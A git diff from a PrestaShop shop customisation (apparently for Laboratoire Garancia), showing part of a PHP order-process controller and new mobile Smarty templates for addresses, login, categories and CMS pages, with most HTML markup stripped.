'errors' => $this->errors, + 'carrier_block' => $this->context->smarty->fetch(_PS_THEME_DIR_.'order-carrier.tpl') + ); + } + + protected function _getPaymentMethods() + { + if (!$this->isLogged) + return '

        '.Tools::displayError('Please sign in to see payment methods.').'

        '; + if ($this->context->cart->OrderExists()) + return '

        '.Tools::displayError('Error: This order has already been validated.').'

        '; + if (!$this->context->cart->id_customer || !Customer::customerIdExistsStatic($this->context->cart->id_customer) || Customer::isBanned($this->context->cart->id_customer)) + return '

        '.Tools::displayError('Error: No customer.').'

        '; + $address_delivery = new Address($this->context->cart->id_address_delivery); + $address_invoice = ($this->context->cart->id_address_delivery == $this->context->cart->id_address_invoice ? $address_delivery : new Address($this->context->cart->id_address_invoice)); + if (!$this->context->cart->id_address_delivery || !$this->context->cart->id_address_invoice || !Validate::isLoadedObject($address_delivery) || !Validate::isLoadedObject($address_invoice) || $address_invoice->deleted || $address_delivery->deleted) + return '

        '.Tools::displayError('Error: Please select an address.').'

        '; + if (count($this->context->cart->getDeliveryOptionList()) == 0 && !$this->context->cart->isVirtualCart()) + { + if ($this->context->cart->isMultiAddressDelivery()) + return '

        '.Tools::displayError('Error: None of your chosen carriers deliver to some of the addresses you\'ve selected.').'

        '; + else + return '

        '.Tools::displayError('Error: None of your chosen carriers deliver to the address you\'ve selected.').'

        '; + } + if (!$this->context->cart->getDeliveryOption(null, false) && !$this->context->cart->isVirtualCart()) + return '

        '.Tools::displayError('Error: Please choose a carrier.').'

        '; + if (!$this->context->cart->id_currency) + return '

        '.Tools::displayError('Error: No currency has been selected.').'

        '; + if (!$this->context->cookie->checkedTOS && Configuration::get('PS_CONDITIONS')) + return '

        '.Tools::displayError('Please accept the Terms of Service.').'

        '; + + /* If some products have disappear */ + if (!$this->context->cart->checkQuantities()) + return '

        '.Tools::displayError('An item in your cart is no longer available. You cannot proceed with your order.').'

        '; + + /* Check minimal amount */ + $currency = Currency::getCurrency((int)$this->context->cart->id_currency); + + $minimalPurchase = Tools::convertPrice((float)Configuration::get('PS_PURCHASE_MINIMUM'), $currency); + if ($this->context->cart->getOrderTotal(false, Cart::ONLY_PRODUCTS) < $minimalPurchase) + return '

        '.sprintf( + Tools::displayError('A minimum purchase total of %s is required in order to validate your order.'), + Tools::displayPrice($minimalPurchase, $currency) + ).'

        '; + + /* Bypass payment step if total is 0 */ + if ($this->context->cart->getOrderTotal() <= 0) + return '

        '; + + $return = Hook::exec('displayPayment'); + if (!$return) + return '

        '.Tools::displayError('No payment method is available for use at this time. ').'

        '; + return $return; + } + + protected function getFormatedSummaryDetail() + { + $result = array('summary' => $this->context->cart->getSummaryDetails(), + 'customizedDatas' => Product::getAllCustomizedDatas($this->context->cart->id, null, true)); + + foreach ($result['summary']['products'] as $key => &$product) + { + $product['quantity_without_customization'] = $product['quantity']; + if ($result['customizedDatas']) + { + if (isset($result['customizedDatas'][(int)$product['id_product']][(int)$product['id_product_attribute']])) + foreach ($result['customizedDatas'][(int)$product['id_product']][(int)$product['id_product_attribute']] as $addresses) + foreach ($addresses as $customization) + $product['quantity_without_customization'] -= (int)$customization['quantity']; + } + } + + if ($result['customizedDatas']) + Product::addCustomizationPrice($result['summary']['products'], $result['customizedDatas']); + return $result; + } + /** + * Order process controller + */ + public function autoStep() + { + global $isVirtualCart; + + // if ($this->step >= 2 && (!$this->context->cart->id_address_delivery || !$this->context->cart->id_address_invoice)) + // Tools::redirect('index.php?controller=order&step=1'); + + // if ($this->step > 2 && !$isVirtualCart && count($this->context->cart->getDeliveryOptionList()) == 0) + // Tools::redirect('index.php?controller=order&step=2'); + + $delivery = new Address((int)$this->context->cart->id_address_delivery); + $invoice = new Address((int)$this->context->cart->id_address_invoice); + + if ($delivery->deleted || $invoice->deleted) + { + if ($delivery->deleted) + unset($this->context->cart->id_address_delivery); + if ($invoice->deleted) + unset($this->context->cart->id_address_invoice); + Tools::redirect('index.php?controller=order&step=1'); + } + } + + /** + * Manage address + */ + public function processAddress() + { + if (!Tools::getValue('multi-shipping')) + $this->context->cart->setNoMultishipping(); + + $same = Tools::isSubmit('same'); + if(!Tools::getValue('id_address_invoice', false) && !$same) + $same = true; + + if (!Customer::customerHasAddress($this->context->customer->id, (int)Tools::getValue('id_address_delivery')) + || (!$same && Tools::getValue('id_address_delivery') != Tools::getValue('id_address_invoice') + && !Customer::customerHasAddress($this->context->customer->id, (int)Tools::getValue('id_address_invoice')))) + $this->errors[] = Tools::displayError('Invalid address', !Tools::getValue('ajax')); + else + { + $this->context->cart->id_address_delivery = (int)Tools::getValue('id_address_delivery'); + $this->context->cart->id_address_invoice = $same ? $this->context->cart->id_address_delivery : (int)Tools::getValue('id_address_invoice'); + + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + if (!$this->context->cart->update()) + $this->errors[] = Tools::displayError('An error occurred while updating your cart.', !Tools::getValue('ajax')); + + if (!$this->context->cart->isMultiAddressDelivery()) + $this->context->cart->setNoMultishipping(); // If there is only one delivery address, set each delivery address lines with the main delivery address + + if (Tools::isSubmit('message')) + $this->_updateMessage(Tools::getValue('message')); + + // Add checking for all addresses + $address_without_carriers = $this->context->cart->getDeliveryAddressesWithoutCarriers(); + if (count($address_without_carriers) && !$this->context->cart->isVirtualCart()) + { + if (count($address_without_carriers) > 1) + $this->errors[] = sprintf(Tools::displayError('There are no carriers that deliver to some addresses you selected.', !Tools::getValue('ajax'))); + elseif ($this->context->cart->isMultiAddressDelivery()) + $this->errors[] = sprintf(Tools::displayError('There are no carriers that deliver to one of the address you selected.', !Tools::getValue('ajax'))); + else + $this->errors[] = sprintf(Tools::displayError('There are no carriers that deliver to the address you selected.', !Tools::getValue('ajax'))); + } + } + + if ($this->errors) + { + if (Tools::getValue('ajax')) + die('{"hasError" : true, "errors" : ["'.implode('\',\'', $this->errors).'"]}'); + $this->step = 1; + } + + if ($this->ajax) + die(true); + } + + /** + * Carrier step + */ + protected function processCarrier() + { + global $orderTotal; + // parent::_processCarrier(); + + if (count($this->errors)) + { + $this->context->smarty->assign('errors', $this->errors); + $this->_assignCarrier(); + $this->step = 3; + // echo $this->step; + // die(); + $this->displayContent(); + include(dirname(__FILE__).'/../footer.php'); + exit; + } + $orderTotal = $this->context->cart->getOrderTotal(); + } + + /** + * Address step + */ + protected function _assignAddress() + { + parent::_assignAddress(); + + if (Tools::getValue('multi-shipping')) + $this->context->cart->autosetProductAddress(); + + $this->context->smarty->assign('cart', $this->context->cart); + parent::_assignCarrier(); + // Assign wrapping and TOS + $this->_assignWrappingAndTOS(); + + } + + /** + * Carrier step + */ + protected function _assignCarrier() + { + // if (!isset($this->context->customer->id)) + // die(Tools::displayError('Fatal error: No customer')); + // Assign carrier + // parent::_assignCarrier(); + // Assign wrapping and TOS + $this->_assignWrappingAndTOS(); + + $this->context->smarty->assign( + array( + 'is_guest' => (isset($this->context->customer->is_guest) ? $this->context->customer->is_guest : 0) + )); + } + + /** + * Payment step + */ + protected function _assignPayment() + { + global $orderTotal; + + // Redirect instead of displaying payment modules if any module are grefted on + Hook::exec('displayBeforePayment', array('module' => 'order.php?step=3')); + + /* We may need to display an order summary */ + $this->context->smarty->assign($this->context->cart->getSummaryDetails()); + $this->context->smarty->assign(array( + 'total_price' => (float)($orderTotal), + 'taxes_enabled' => (int)(Configuration::get('PS_TAX')) + )); + $this->context->cart->checkedTOS = '1'; + + parent::_assignPayment(); + } +} + diff --git a/themes/default/_mobile/404.tpl b/themes/default/_mobile/404.tpl new file mode 100755 index 0000000..fb5a10b --- /dev/null +++ b/themes/default/_mobile/404.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='This page is not available'}{/capture} +{include file='./page-title.tpl'} + + {* Submit à tester sur téléphone *} + {* ===================================== *} +
        +
        +

        {l s='We\'re sorry, but the Web address you\'ve entered is no longer available.'}

        +

        {l s='To find a product, please type its name in the field below.'}

        +
        +
        + +
        +
        +

        + +

        +
        + {* ===================================== *} +
        diff --git a/themes/default/_mobile/address.tpl b/themes/default/_mobile/address.tpl new file mode 100755 index 0000000..6b92506 --- /dev/null +++ b/themes/default/_mobile/address.tpl @@ -0,0 +1,240 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        + + +{capture name=path}{l s='Mon compte'}{$navigationPipe}{l s='Mes adresses'}{$navigationPipe}{if isset($id_address) && (isset($smarty.post.alias) || isset($address->alias))}{l s='Modifier adresse'}{else}{l s='Ajouter une adresse'}{/if}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{if isset($id_address) && (isset($smarty.post.alias) || isset($address->alias))}{l s='Modifier adresse'}{else}{l s='Ajouter une adresse'}{/if}]

        + + +{include file="$tpl_dir./errors.tpl"} + +

        {if isset($id_address)}{l s='Votre adresse'}{else}{l s='Nouvelle adresse'}{/if}

        +
        +
        + {* +
        + + + {l s='DNI / NIF / NIE'} +
        + *} + {assign var="stateExist" value="false"} + +
        + + +
        + +
        + + + +
        + {foreach from=$ordered_adr_fields item=field_name} + {if $field_name eq 'company'} + {/if} + {if $field_name eq 'vat_number'} +
        +
        +
        + + +
        +
        +
        + {/if} + {if $field_name eq 'firstname'} +
        + + +
        + {/if} + {if $field_name eq 'lastname'} +
        + + +
        + {/if} + {if $field_name eq 'address1'} +
        + + +
        + {/if} + {if $field_name eq 'address2'} +
        + + +
        + {/if} + {if $field_name eq 'postcode'} +
        + + +
        + {/if} + {if $field_name eq 'city'} +
        + + +
        + {* + if customer hasn't update his layout address, country has to be verified + but it's deprecated + *} + {/if} + {if $field_name eq 'Country:name' || $field_name eq 'country'} +
        + + +
        + {if $vatnumber_ajax_call} + + {/if} + {/if} + {if $field_name eq 'State:name'} + {assign var="stateExist" value="true"} +
        + + +
        + {/if} + {/foreach} + {if $stateExist eq "false"} +
        + + +
        + {/if} +
        + + +
        {l s='Destiné au Laboratoire Garancia, uniquement en cas de problème de livraison'} + +
        {l s='En savoir plus'} +
        +
        +
        + + +
        +
        +
        +
        +

        {l s='Complément d\'adresse (facultatif)'}

        +
        + + +
        {l s='En savoir plus'} +
        +

        *{l s='Champ obligatoire'}

        +
        +
        + {if isset($id_address)}{/if} + {if isset($back)}{/if} + {if isset($mod)}{/if} + {if isset($select_address)}{/if} + +
        + + +
        +
        +
        +
        diff --git a/themes/default/_mobile/addresses.tpl b/themes/default/_mobile/addresses.tpl new file mode 100755 index 0000000..d315859 --- /dev/null +++ b/themes/default/_mobile/addresses.tpl @@ -0,0 +1,129 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* +** Retro compatibility for PrestaShop version < 1.4.2.5 with a recent theme +*} + +{* Two variable are necessaries to display the address with the new layout system *} +{* Will be deleted for 1.5 version and more *} +{if !isset($multipleAddresses)} + {$ignoreList.0 = "id_address"} + {$ignoreList.1 = "id_country"} + {$ignoreList.2 = "id_state"} + {$ignoreList.3 = "id_customer"} + {$ignoreList.4 = "id_manufacturer"} + {$ignoreList.5 = "id_supplier"} + {$ignoreList.6 = "date_add"} + {$ignoreList.7 = "date_upd"} + {$ignoreList.8 = "active"} + {$ignoreList.9 = "deleted"} + + {* PrestaShop < 1.4.2 compatibility *} + {if isset($addresses)} + {$address_number = 0} + {foreach from=$addresses key=k item=address} + {counter start=0 skip=1 assign=address_key_number} + {foreach from=$address key=address_key item=address_content} + {if !in_array($address_key, $ignoreList)} + {$multipleAddresses.$address_number.ordered.$address_key_number = $address_key} + {$multipleAddresses.$address_number.formated.$address_key = $address_content} + {counter} + {/if} + {/foreach} + {$multipleAddresses.$address_number.object = $address} + {$address_number = $address_number + 1} + {/foreach} + {/if} +{/if} + +{* Define the style if it doesn't exist in the PrestaShop version*} +{* Will be deleted for 1.5 version and more *} +{if !isset($addresses_style)} + {$addresses_style.company = 'address_company'} + {$addresses_style.vat_number = 'address_company'} + {$addresses_style.firstname = 'address_name'} + {$addresses_style.lastname = 'address_name'} + {$addresses_style.address1 = 'address_address1'} + {$addresses_style.address2 = 'address_address2'} + {$addresses_style.city = 'address_city'} + {$addresses_style.country = 'address_country'} + {$addresses_style.phone = 'address_phone'} + {$addresses_style.phone_mobile = 'address_phone_mobile'} + {$addresses_style.alias = 'address_title'} +{/if} + + + + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='My addresses'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{l s='My addresses'}]

        +

        {l s='Éditez vos adresse de facturation et livraison'}

        + +{if isset($multipleAddresses) && $multipleAddresses} +
        + {assign var="adrs_style" value=$addresses_style} +
        + {foreach from=$multipleAddresses item=address name=myLoop key=compteur} +

        {$address.object.alias}{l s='Modifier'}{l s='Supprimer'}

        +
          + {foreach from=$address.ordered name=adr_loop item=pattern} + {assign var=addressKey value=" "|explode:$pattern} +
        • + {foreach from=$addressKey item=key name="word_loop"} + + {$address.formated[$key|replace:',':'']|escape:'htmlall':'UTF-8'} + + {/foreach} +
        • + {/foreach} +
        + {/foreach} +
        +
        +{else} +

        {l s='No addresses are available.'}

        +{/if} +
        + + +
        +
        diff --git a/themes/default/_mobile/authentication-choice.tpl b/themes/default/_mobile/authentication-choice.tpl new file mode 100755 index 0000000..e73ada0 --- /dev/null +++ b/themes/default/_mobile/authentication-choice.tpl @@ -0,0 +1,118 @@ +
        + + + +
        +
        +
        +

        {l s='Vous avez un compte'}

        +
        +
        +

        {l s='Mot de passe'} {l s='oublié'} ?

        +

        + {if isset($back)}{/if} + +

        +
        +
        +
        +
        +
        +

        {l s='Vous n\'avez pas encore de compte'}

        +
        +

        {l s='Créez votre compte gratuitement et accédez simplement à un ensemble de services personnalisés.'}
        {l s='Offres exclusives du Laboratoire Garancia :'} {l s='Suivi des commandes - Modification de vos coordonnées personnelles - Mailing des dernières tendances et des offres exclusives Garancia - Rédaction d\'avis sur les produits.'}

        + +

        + {if isset($back)}{/if} + + +

        + +
        +
        +
        + +
        + +{* Missing the guest checkout behaviour *} +{* ===================================== *} diff --git a/themes/default/_mobile/authentication-create-account.tpl b/themes/default/_mobile/authentication-create-account.tpl new file mode 100755 index 0000000..858894a --- /dev/null +++ b/themes/default/_mobile/authentication-create-account.tpl @@ -0,0 +1,255 @@ +
        + {$HOOK_CREATE_ACCOUNT_TOP} +
        {l s='Créez un compte gratuitement et accédez simplement à un ensemble de services personnalisés :'} +
        {l s='Suivi des commandes - Modification de vos coordonnées personnelles - Mailing des dernières tendances et des offres exclusives Garancia - Rédaction d\'avis sur les produits.'}
        + + {if $b2b_enable} + + {/if} + {if isset($PS_REGISTRATION_PROCESS_TYPE) && $PS_REGISTRATION_PROCESS_TYPE} + + + {/if} + {$HOOK_CREATE_ACCOUNT_FORM} +
        +
        +
        + +
        * {l s='Champs oblibgatoires'}
        + + + {if isset($back)}{/if} + + +
        +
        \ No newline at end of file diff --git a/themes/default/_mobile/authentication.tpl b/themes/default/_mobile/authentication.tpl new file mode 100755 index 0000000..006aa09 --- /dev/null +++ b/themes/default/_mobile/authentication.tpl @@ -0,0 +1,120 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Mon panier'}{$navigationPipe}{l s='Identification'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + + + +{assign var='stateExist' value=false} + +
        +{if !isset($email_create)}

        [{l s='Log in'}]

        {else}

        [{l s='Create an account'}]

        {/if} + {if !isset($email_create)} + {include file="./authentication-choice.tpl"} + {else} + {include file="./authentication-create-account.tpl"} + {/if} +{include file="./errors.tpl"} + +
        +
        + diff --git a/themes/default/_mobile/best-sales.tpl b/themes/default/_mobile/best-sales.tpl new file mode 100755 index 0000000..438676a --- /dev/null +++ b/themes/default/_mobile/best-sales.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="$tpl_dir./errors.tpl"} + +{if !isset($errors) OR !sizeof($errors)} + {capture assign='page_title'}{l s='Top sellers'}{/capture} + {include file='./page-title.tpl'} + +
        + {if !empty($manufacturer->description) || !empty($manufacturer->short_description)} +
        + {if !empty($manufacturer->short_description)} +

        {$manufacturer->short_description}

        +

        {$manufacturer->description}

        + {l s='More'} + {else} +

        {$manufacturer->description}

        + {/if} +
        + {/if} + + {if $products} +
        + {include file="./category-product-sort.tpl" container_class="container-sort"} +
        +
        + {include file="./pagination.tpl"} + {include file="./category-product-list.tpl" products=$products} + {include file="./pagination.tpl"} + + {else} +

        {l s='No top sellers for the moment.'}

        + {/if} + {include file='./sitemap.tpl'} +
        +{/if} diff --git a/themes/default/_mobile/category-cms-tree-branch.tpl b/themes/default/_mobile/category-cms-tree-branch.tpl new file mode 100755 index 0000000..f7f2780 --- /dev/null +++ b/themes/default/_mobile/category-cms-tree-branch.tpl @@ -0,0 +1,49 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
      • 0 || isset($node.cms) && $node.cms|@count > 0}data-icon="more"{/if}> + {$node.name|escape:'htmlall':'UTF-8'} + {if isset($node.children) && $node.children|@count > 0} +
          + {foreach from=$node.children item=child name=categoryCmsTreeBranch} + {if isset($child.children) && $child.children|@count > 0 || isset($child.cms) && $child.cms|@count > 0} + {include file="./category-cms-tree-branch.tpl" node=$child} + {/if} + {/foreach} + {if isset($node.cms) && $node.cms|@count > 0} + {foreach from=$node.cms item=cms name=cmsTreeBranch} +
        • {$cms.meta_title|escape:'htmlall':'UTF-8'}
        • + {/foreach} + {/if} +
        + {elseif isset($node.cms) && $node.cms|@count > 0} + + {/if} +
      • diff --git a/themes/default/_mobile/category-product-list.tpl b/themes/default/_mobile/category-product-list.tpl new file mode 100755 index 0000000..f891a22 --- /dev/null +++ b/themes/default/_mobile/category-product-list.tpl @@ -0,0 +1,45 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($products)} + +{/if} +
        \ No newline at end of file diff --git a/themes/default/_mobile/category-product-sort.tpl b/themes/default/_mobile/category-product-sort.tpl new file mode 100755 index 0000000..276dd78 --- /dev/null +++ b/themes/default/_mobile/category-product-sort.tpl @@ -0,0 +1,71 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($orderby) AND isset($orderway)} + {if !isset($sort_already_display)} + {assign var='sort_already_display' value='true' scope="global"} + + {if isset($smarty.get.id_category) && $smarty.get.id_category} + {assign var='request' value=$link->getPaginationLink('category', $category, false, true)} + {elseif isset($smarty.get.id_manufacturer) && $smarty.get.id_manufacturer} + {assign var='request' value=$link->getPaginationLink('manufacturer', $manufacturer, false, true)} + {elseif isset($smarty.get.id_supplier) && $smarty.get.id_supplier} + {assign var='request' value=$link->getPaginationLink('supplier', $supplier, false, true)} + {else} + {assign var='request' value=$link->getPaginationLink(false, false, false, true)} + {/if} + + + {/if} + +
        +
        + +
        +
        + +{/if} diff --git a/themes/default/_mobile/category-tree-branch.tpl b/themes/default/_mobile/category-tree-branch.tpl new file mode 100755 index 0000000..0c7fadd --- /dev/null +++ b/themes/default/_mobile/category-tree-branch.tpl @@ -0,0 +1,44 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
      • 0}data-icon="more"{/if}> + {if $node.children|@count > 0} + {$node.name|escape:'htmlall':'UTF-8'} +
          +
        • + + {l s='See products'} + +
        • + {foreach from=$node.children item=child name=categoryTreeBranch} + {include file="$tpl_dir./category-tree-branch.tpl" node=$child} + {/foreach} +
        + {else} + + {$node.name|escape:'htmlall':'UTF-8'} + + {/if} +
      • diff --git a/themes/default/_mobile/category.tpl b/themes/default/_mobile/category.tpl new file mode 100755 index 0000000..2e526b6 --- /dev/null +++ b/themes/default/_mobile/category.tpl @@ -0,0 +1,63 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{assign var=metaTitle value=$category->name} +{if $category->meta_title!=""} + {assign var=metaTitle value=$category->meta_title} +{/if} +{if $category->id==2} +{capture name=path}{$metaTitle}{/capture} + +{else} +{capture name=path}{l s='Nos produits'}{$navigationPipe}{$metaTitle}{/capture} + +{/if} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        + + {include file="$tpl_dir./errors.tpl"} + + {if isset($category)} + {if $category->id AND $category->active} + {* +

        [{strip} + {$category->name|escape:'htmlall':'UTF-8'} + {if isset($categoryNameComplement)} + {$categoryNameComplement|escape:'htmlall':'UTF-8'} + {/if} + {/strip}]

        + *} + {if $products} + + {include file="./category-product-list.tpl" products=$products} + + {/if} + {elseif $category->id} +

        {l s='This category is currently unavailable.'}

        + {/if} + {/if} +
        diff --git a/themes/default/_mobile/cms.tpl b/themes/default/_mobile/cms.tpl new file mode 100755 index 0000000..6e7b1d8 --- /dev/null +++ b/themes/default/_mobile/cms.tpl @@ -0,0 +1,83 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if ($content_only == 0)} + {include file="$tpl_dir./breadcrumb.tpl"} +{/if} +{if isset($cms) && !isset($cms_category)} + {if !$cms->active} +
        +
        +

        {l s='This CMS page is not visible to your customers.'} + + + +

        +
        +

        +

        +
        + {/if} +
        +

        [{$cms->meta_title}]

        + {$cms->content} +
        +{elseif isset($cms_category)} +
        +

        {$cms_category->name|escape:'htmlall':'UTF-8'}

        + {if isset($sub_category) & !empty($sub_category)} +

        {l s='List of sub categories in %s:' sprintf=$cms_category->name}

        + + {/if} + {if isset($cms_pages) & !empty($cms_pages)} +

        {l s='List of pages in %s:' sprintf=$cms_category->name}

        + + {/if} +
        +{else} +
        + {l s='This page does not exist.'} +
        +{/if} +
